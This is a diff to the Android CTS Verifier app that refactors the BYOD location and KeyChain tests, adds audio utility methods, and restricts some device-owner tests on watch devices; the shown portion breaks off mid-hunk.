diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 55b7f9a..97f6a85 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -81,4 +81,7 @@
     public static int calcFrameSizeInBytes(int encoding, int numChannels) {
         return sampleSizeInBytes(encoding) * numChannels;
     }
+
+    public static native boolean isMMapSupported();
+    public static native boolean isMMapExclusiveSupported();
 }
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SettingsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SettingsUtils.java
new file mode 100644
index 0000000..e983c28
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SettingsUtils.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.os.Process;
+import android.provider.Settings;
+
+public class SettingsUtils {
+    public static boolean areTouchSoundsActive(Context context) {
+        return Settings.System.getIntForUser(
+                context.getContentResolver(),
+                Settings.System.SOUND_EFFECTS_ENABLED,
+                0,
+                Process.myUserHandle().getIdentifier()) != 0;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index 3b11c4c..85db63f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -57,12 +57,12 @@
                 "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,22,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"21,22,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,22,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,22,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index 78f41da..336a923 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -474,6 +474,10 @@
         Image img = null;
         try {
             img = reader.acquireNextImage();
+            if (img == null) {
+                Log.d(TAG, "Invalid image!");
+                return;
+            }
             final int format = img.getFormat();
 
             Size configuredSize = (format == ImageFormat.YUV_420_888 ? mPreviewSize : mJpegSize);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/companion/OWNERS
index 8e3d9b9..9847737 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 24950
-eugenesusla@google.com
\ No newline at end of file
+evanxinchen@google.com
+guojing@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 9facc13..5b55009 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -110,10 +110,10 @@
     private TestListItem mKeyguardDisabledFeaturesTest;
     private DialogTestListItem mDisableNfcBeamTest;
     private TestListItem mAuthenticationBoundKeyTest;
-    private DialogTestListItem mEnableLocationModeTest;
-    private DialogTestListItem mDisableLocationModeThroughMainSwitchTest;
-    private DialogTestListItem mDisableLocationModeThroughWorkSwitchTest;
-    private DialogTestListItem mPrimaryLocationWhenWorkDisabledTest;
+    private TestListItem mEnableLocationModeTest;
+    private TestListItem mDisableLocationModeThroughMainSwitchTest;
+    private TestListItem mDisableLocationModeThroughWorkSwitchTest;
+    private TestListItem mPrimaryLocationWhenWorkDisabledTest;
     private DialogTestListItem mSelectWorkChallenge;
     private DialogTestListItem mConfirmWorkCredentials;
     private DialogTestListItem mPatternWorkChallenge;
@@ -679,26 +679,26 @@
         }
 
         if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS)) {
-            mEnableLocationModeTest = new DialogTestListItem(this,
+            mEnableLocationModeTest = TestListItem.newTest(this,
                     R.string.provisioning_byod_location_mode_enable,
-                    "BYOD_LocationModeEnableTest",
-                    R.string.provisioning_byod_location_mode_enable_instruction,
-                    new Intent(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES));
-            mDisableLocationModeThroughMainSwitchTest = new DialogTestListItem(this,
+                    LocationTestActivity.TEST_ID_LOCATION_ENABLED,
+                    new Intent(LocationTestActivity.ACTION_TEST_LOCATION_ENABLED),
+                    null);
+            mDisableLocationModeThroughMainSwitchTest = TestListItem.newTest(this,
                     R.string.provisioning_byod_location_mode_disable,
-                    "BYOD_LocationModeDisableMainTest",
-                    R.string.provisioning_byod_location_mode_disable_instruction,
-                    new Intent(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES));
-            mDisableLocationModeThroughWorkSwitchTest = new DialogTestListItem(this,
+                    LocationTestActivity.TEST_ID_LOCATION_DISABLED,
+                    new Intent(LocationTestActivity.ACTION_TEST_LOCATION_DISABLED),
+                    null);
+            mDisableLocationModeThroughWorkSwitchTest = TestListItem.newTest(this,
                     R.string.provisioning_byod_work_location_mode_disable,
-                    "BYOD_LocationModeDisableWorkTest",
-                    R.string.provisioning_byod_work_location_mode_disable_instruction,
-                    new Intent(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES));
-            mPrimaryLocationWhenWorkDisabledTest = new DialogTestListItem(this,
+                    LocationTestActivity.TEST_ID_WORK_LOCATION_DISABLED,
+                    new Intent(LocationTestActivity.ACTION_TEST_WORK_LOCATION_DISABLED),
+                    null);
+            mPrimaryLocationWhenWorkDisabledTest = TestListItem.newTest(this,
                     R.string.provisioning_byod_primary_location_when_work_disabled,
-                    "BYOD_PrimaryLocationWhenWorkDisabled",
-                    R.string.provisioning_byod_primary_location_when_work_disabled_instruction,
-                    new Intent(LocationListenerActivity.ACTION_SET_LOCATION_AND_CHECK_UPDATES));
+                    LocationTestActivity.TEST_ID_WORK_LOCATION_DISABLED_PRIMARY,
+                    new Intent(LocationTestActivity.ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY),
+                    null);
             adapter.add(mEnableLocationModeTest);
             adapter.add(mDisableLocationModeThroughMainSwitchTest);
             adapter.add(mDisableLocationModeThroughWorkSwitchTest);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
index e8c47c9..98bba44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -73,7 +73,8 @@
                 CommandReceiverActivity.class.getName(),
                 SetSupportMessageActivity.class.getName(),
                 KeyChainTestActivity.class.getName(),
-                WorkProfileWidgetActivity.class.getName()
+                WorkProfileWidgetActivity.class.getName(),
+                LocationCheckerActivity.WORK_ACTIVITY_ALIAS
         };
         for (String component : components) {
             mPackageManager.setComponentEnabledSetting(new ComponentName(mContext, component),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index 74d50a9..e67fd85 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -20,6 +20,7 @@
 import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY;
 
 import android.Manifest;
+import android.app.Activity;
 import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
@@ -35,6 +36,7 @@
 import android.os.UserManager;
 import android.provider.MediaStore;
 import android.util.Log;
+import android.widget.Toast;
 
 import androidx.annotation.NonNull;
 import androidx.core.app.ActivityCompat;
@@ -57,7 +59,7 @@
  *
  * Note: We have to use a test activity because cross-profile intents only work for activities.
  */
-public class ByodHelperActivity extends LocationListenerActivity
+public class ByodHelperActivity extends Activity
         implements DialogCallback, ActivityCompat.OnRequestPermissionsResultCallback {
 
     static final String TAG = "ByodHelperActivity";
@@ -122,9 +124,6 @@
     public static final String ACTION_TEST_APP_LINKING_DIALOG =
             "com.android.cts.verifier.managedprovisioning.action.TEST_APP_LINKING_DIALOG";
 
-    // Primary -> managed intent: request to goto the location settings page and listen to updates.
-    public static final String ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES =
-            "com.android.cts.verifier.managedprovisioning.BYOD_SET_LOCATION_AND_CHECK";
     public static final String ACTION_NOTIFICATION =
             "com.android.cts.verifier.managedprovisioning.NOTIFICATION";
     public static final String ACTION_NOTIFICATION_ON_LOCKSCREEN =
@@ -175,7 +174,6 @@
     private static final int EXECUTE_IMAGE_CAPTURE_TEST = 1;
     private static final int EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST = 2;
     private static final int EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST = 3;
-    private static final int EXECUTE_LOCATION_UPDATE_TEST = 4;
 
     private NotificationManager mNotificationManager;
     private Bundle mOriginalRestrictions;
@@ -350,13 +348,6 @@
                 mDevicePolicyManager.clearUserRestriction(
                         DeviceAdminTestReceiver.getReceiverComponentName(), restriction);
             }
-        } else if (action.equals(ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES)) {
-            if (hasLocationPermission()) {
-                handleLocationAction();
-            } else {
-                requestLocationPermission(EXECUTE_LOCATION_UPDATE_TEST);
-            }
-            return;
         } else if (action.equals(ACTION_NOTIFICATION)) {
             showNotification(Notification.VISIBILITY_PUBLIC);
         } else if (ACTION_NOTIFICATION_ON_LOCKSCREEN.equals(action)) {
@@ -625,15 +616,6 @@
                     return;
                 }
                 break;
-            case EXECUTE_LOCATION_UPDATE_TEST:
-                if (!permissions[0].equals(Manifest.permission.ACCESS_FINE_LOCATION)
-                        || grants[0] != PackageManager.PERMISSION_GRANTED) {
-                    Log.e(TAG, "The test needs location permission.");
-                    showToast(R.string.provisioning_byod_location_mode_enable_missing_permission);
-                    finish();
-                    return;
-                }
-                break;
         }
 
         // Execute the right test.
@@ -645,9 +627,6 @@
             case EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST:
                 startCaptureVideoActivity(requestCode);
                 break;
-            case EXECUTE_LOCATION_UPDATE_TEST:
-                handleLocationAction();
-                break;
             default:
                 Log.e(TAG, "Unknown action.");
                 finish();
@@ -666,8 +645,8 @@
         finish();
     }
 
-    @Override
-    protected String getLogTag() {
-        return TAG;
+    private void showToast(int messageId) {
+        String message = getString(messageId);
+        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodTestActivityWithPrepare.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodTestActivityWithPrepare.java
new file mode 100644
index 0000000..97222d3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodTestActivityWithPrepare.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.os.Bundle;
+import android.text.method.ScrollingMovementMethod;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Base activity for tests that require a preparation step.
+ */
+public abstract class ByodTestActivityWithPrepare extends PassFailButtons.Activity {
+    private TextView mLogView;
+    private TextView mInstructionsView;
+    private Button mPrepareButton;
+    private Button mGoButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.byod_test_with_prepare);
+        setPassFailButtonClickListeners();
+
+        mLogView = findViewById(R.id.test_log);
+        mLogView.setMovementMethod(new ScrollingMovementMethod());
+        mInstructionsView = findViewById(R.id.instructions_text);
+        mPrepareButton = findViewById(R.id.prepare_test_button);
+        mGoButton = findViewById(R.id.run_test_button);
+        mGoButton.setEnabled(false);
+        getPassButton().setEnabled(false);
+    }
+
+    protected TextView getLogView() {
+        return mLogView;
+    }
+
+    protected TextView getInstructionsView() {
+        return mInstructionsView;
+    }
+
+    protected Button getPrepareButton() {
+        return mPrepareButton;
+    }
+
+    protected Button getGoButton() {
+        return mGoButton;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index a384a6a..bb1d341 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -195,7 +195,6 @@
         filter.addAction(
                 PermissionLockdownTestActivity.ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN);
         filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
-        filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
         filter.addAction(VpnTestActivity.ACTION_VPN);
         filter.addAction(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST);
         filter.addAction(RecentsRedactionActivity.ACTION_RECENTS);
@@ -210,6 +209,7 @@
         filter.addAction(WorkProfileWidgetActivity.ACTION_TEST_WORK_PROFILE_WIDGET);
         filter.addAction(
                 CrossProfilePermissionControlActivity.ACTION_CROSS_PROFILE_PERMISSION_CONTROL);
+        filter.addAction(LocationCheckerActivity.ACTION_CHECK_LOCATION_WORK);
         dpm.addCrossProfileIntentFilter(getWho(context), filter,
                 DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT);
 
@@ -220,7 +220,6 @@
         filter.addAction(ByodHelperActivity.ACTION_INSTALL_APK_IN_PRIMARY);
         filter.addAction(ByodFlowTestActivity.ACTION_TEST_RESULT);
         filter.addAction(CrossProfileTestActivity.ACTION_CROSS_PROFILE_TO_PERSONAL);
-        filter.addAction(LocationListenerActivity.ACTION_SET_LOCATION_AND_CHECK_UPDATES);
 
         dpm.addCrossProfileIntentFilter(getWho(context), filter,
                 DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index dee5714..9d49028 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -272,28 +272,33 @@
         //                         new Intent(Settings.ACTION_DISPLAY_SETTINGS))}));
 
         // DISALLOW_CONFIG_VPN
-        adapter.add(createInteractiveTestItem(this, DISALLOW_CONFIG_VPN_ID,
-                R.string.device_owner_disallow_config_vpn,
-                R.string.device_owner_disallow_config_vpn_info,
-                new ButtonInfo[] {
-                        new ButtonInfo(
-                                R.string.device_owner_user_vpn_restriction_set,
-                                CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                        UserManager.DISALLOW_CONFIG_VPN, true)),
-                        new ButtonInfo(
-                                R.string.device_owner_settings_go,
-                                new Intent(Settings.ACTION_VPN_SETTINGS)),
-                        new ButtonInfo(
-                                R.string.device_owner_vpn_test,
-                                new Intent(this, VpnTestActivity.class)),
-                        new ButtonInfo(
-                                R.string.device_owner_user_restriction_unset,
-                                CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                        UserManager.DISALLOW_CONFIG_VPN, false))
-        }));
+        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            adapter.add(createInteractiveTestItem(this, DISALLOW_CONFIG_VPN_ID,
+                    R.string.device_owner_disallow_config_vpn,
+                    R.string.device_owner_disallow_config_vpn_info,
+                    new ButtonInfo[] {
+                            new ButtonInfo(
+                                    R.string.device_owner_user_vpn_restriction_set,
+                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
+                                            UserManager.DISALLOW_CONFIG_VPN, true)),
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_VPN_SETTINGS)),
+                            new ButtonInfo(
+                                    R.string.device_owner_vpn_test,
+                                    new Intent(this, VpnTestActivity.class)),
+                            new ButtonInfo(
+                                    R.string.device_owner_user_restriction_unset,
+                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
+                                            UserManager.DISALLOW_CONFIG_VPN, false))
+                    }));
+        }
 
         // DISALLOW_DATA_ROAMING
-        if(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                && packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             adapter.add(createInteractiveTestItem(this, DISALLOW_DATA_ROAMING_ID,
                     R.string.device_owner_disallow_data_roaming,
                     R.string.device_owner_disallow_data_roaming_info,
@@ -309,7 +314,7 @@
                                     R.string.device_owner_user_restriction_unset,
                                     CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
                                             UserManager.DISALLOW_DATA_ROAMING, false))
-            }));
+                    }));
         }
 
         // DISALLOW_FACTORY_RESET
@@ -348,19 +353,22 @@
         }
 
         // DISALLOW_USB_FILE_TRANSFER
-        adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
-                R.string.device_owner_disallow_usb_file_transfer_test,
-                R.string.device_owner_disallow_usb_file_transfer_test_info,
-                new ButtonInfo[] {
-                        new ButtonInfo(
-                                R.string.device_owner_user_restriction_set,
-                                CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                        UserManager.DISALLOW_USB_FILE_TRANSFER, true)),
-                        new ButtonInfo(
-                                R.string.device_owner_user_restriction_unset,
-                                CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                        UserManager.DISALLOW_USB_FILE_TRANSFER, false))
-        }));
+        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
+                    R.string.device_owner_disallow_usb_file_transfer_test,
+                    R.string.device_owner_disallow_usb_file_transfer_test_info,
+                    new ButtonInfo[] {
+                            new ButtonInfo(
+                                    R.string.device_owner_user_restriction_set,
+                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
+                                            UserManager.DISALLOW_USB_FILE_TRANSFER, true)),
+                            new ButtonInfo(
+                                    R.string.device_owner_user_restriction_unset,
+                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
+                                            UserManager.DISALLOW_USB_FILE_TRANSFER, false))
+                    }));
+        }
 
         // DISABLE_STATUS_BAR_TEST
         if (isStatusBarEnabled()) {
@@ -399,11 +407,15 @@
         }
 
         // setLockTaskFeatures
-        final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
-        lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID, LOCK_TASK_UI_TEST_ID);
-        adapter.add(createTestItem(this, LOCK_TASK_UI_TEST_ID,
-                R.string.device_owner_lock_task_ui_test,
-                lockTaskUiTestIntent));
+        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
+            lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID,
+                    LOCK_TASK_UI_TEST_ID);
+            adapter.add(createTestItem(this, LOCK_TASK_UI_TEST_ID,
+                    R.string.device_owner_lock_task_ui_test,
+                    lockTaskUiTestIntent));
+        }
 
         // setUserIcon
         adapter.add(createInteractiveTestItem(this, SET_USER_ICON_TEST_ID,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyChainTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyChainTestActivity.java
index d774823..58dd9df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyChainTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyChainTestActivity.java
@@ -19,7 +19,6 @@
 import static android.keystore.cts.CertificateUtils.createCertificate;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.Context;
 import android.os.AsyncTask;
 import android.os.Bundle;
 import android.security.AttestedKeyPair;
@@ -28,19 +27,18 @@
 import android.security.KeyChainException;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
-import android.text.method.ScrollingMovementMethod;
 import android.util.Log;
 import android.view.View;
-import android.widget.Button;
-import android.widget.TextView;
-import com.android.cts.verifier.PassFailButtons;
+
 import com.android.cts.verifier.R;
+
 import java.security.GeneralSecurityException;
 import java.security.Principal;
 import java.security.PrivateKey;
 import java.security.Signature;
 import java.security.cert.X509Certificate;
 import java.util.Arrays;
+
 import javax.security.auth.x500.X500Principal;
 
 /**
@@ -55,7 +53,7 @@
  * <p>After the visibility is set to not-user-visible, the prompt is shown again, this time the
  * testes is asked to verify no keys are selectable and cancel the dialog.
  */
-public class KeyChainTestActivity extends PassFailButtons.Activity {
+public class KeyChainTestActivity extends ByodTestActivityWithPrepare {
     private static final String TAG = "ByodKeyChainActivity";
 
     public static final String ACTION_KEYCHAIN =
@@ -67,10 +65,6 @@
     private DevicePolicyManager mDevicePolicyManager;
     private AttestedKeyPair mAttestedKeyPair;
     private X509Certificate mCert;
-    private TextView mLogView;
-    private TextView mInstructionsView;
-    private Button mSetupButton;
-    private Button mGoButton;
 
     // Callback interface for when a key is generated.
     static interface KeyGenerationListener {
@@ -97,13 +91,13 @@
                                 specs[0],
                                 0);
                 if (kp != null) {
-                    mLogView.setText("Key generated successfully.");
+                    getLogView().setText("Key generated successfully.");
                 } else {
-                    mLogView.setText("Failed generating key.");
+                    getLogView().setText("Failed generating key.");
                 }
                 return kp;
             } catch (SecurityException e) {
-                mLogView.setText("Security exception while generating key.");
+                getLogView().setText("Security exception while generating key.");
                 Log.w(TAG, "Security exception", e);
             }
 
@@ -131,15 +125,16 @@
                 boolean installResult = installCertificate(mCert, true);
                 // called from onPostExecute so safe to interact with the UI here.
                 if (installResult) {
-                    mLogView.setText("Test ready");
-                    mInstructionsView.setText(R.string.provisioning_byod_keychain_info_first_test);
-                    mGoButton.setEnabled(true);
+                    getLogView().setText("Test ready");
+                    getInstructionsView().setText(
+                            R.string.provisioning_byod_keychain_info_first_test);
+                    getGoButton().setEnabled(true);
                 } else {
-                    mLogView.setText("FAILED certificate installation.");
+                    getLogView().setText("FAILED certificate installation.");
                 }
             } catch (Exception e) {
                 Log.w(TAG, "Failed installing certificate", e);
-                mLogView.setText("Error generating a certificate.");
+                getLogView().setText("Error generating a certificate.");
             }
         }
     }
@@ -172,7 +167,7 @@
     class TestPreparator implements View.OnClickListener {
         @Override
         public void onClick(View v) {
-            mLogView.setText("Starting key generation");
+            getLogView().setText("Starting key generation");
             KeyGenParameterSpec spec =
                     new KeyGenParameterSpec.Builder(
                                     ALIAS,
@@ -191,7 +186,7 @@
         @Override
         public void onClick(View v) {
             Log.i(TAG, "Selecting certificate");
-            mLogView.setText("Waiting for prompt");
+            getLogView().setText("Waiting for prompt");
             selectCertificate(this);
         }
 
@@ -233,7 +228,7 @@
         @Override
         public void onClick(View v) {
             Log.i(TAG, "Selecting certificate");
-            mLogView.setText("Prompt should not appear.");
+            getLogView().setText("Prompt should not appear.");
             selectCertificate(this);
         }
 
@@ -255,25 +250,11 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        setContentView(R.layout.keychain_test);
-        setPassFailButtonClickListeners();
-        mDevicePolicyManager =
-                (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
 
-        mLogView = (TextView) findViewById(R.id.provisioning_byod_keychain_test_log);
-        mLogView.setMovementMethod(new ScrollingMovementMethod());
-
-        mInstructionsView = (TextView) findViewById(R.id.provisioning_byod_keychain_instructions);
-
-        mSetupButton = (Button) findViewById(R.id.prepare_test_button);
-        mSetupButton.setOnClickListener(new TestPreparator());
-
-        mGoButton = (Button) findViewById(R.id.run_test_button);
-        mGoButton.setOnClickListener(new SelectCertificate());
-        mGoButton.setEnabled(false);
-
-        // Disable the pass button here, only enable it when the 2nd test passes.
-        getPassButton().setEnabled(false);
+        mDevicePolicyManager = getSystemService(DevicePolicyManager.class);
+        getInstructionsView().setText(R.string.provisioning_byod_keychain_info_start);
+        getPrepareButton().setOnClickListener(new TestPreparator());
+        getGoButton().setOnClickListener(new SelectCertificate());
     }
 
     protected void prepareSecondTest() {
@@ -281,17 +262,17 @@
         if (installCertificate(mCert, false)) {
             uiChanges =
                     () -> {
-                        mLogView.setText("Second test ready.");
-                        mInstructionsView.setText(
+                        getLogView().setText("Second test ready.");
+                        getInstructionsView().setText(
                                 R.string.provisioning_byod_keychain_info_second_test);
-                        mGoButton.setText("Run 2nd test");
-                        mGoButton.setOnClickListener(new SelectCertificateExpectingNone());
+                        getGoButton().setText("Run 2nd test");
+                        getGoButton().setOnClickListener(new SelectCertificateExpectingNone());
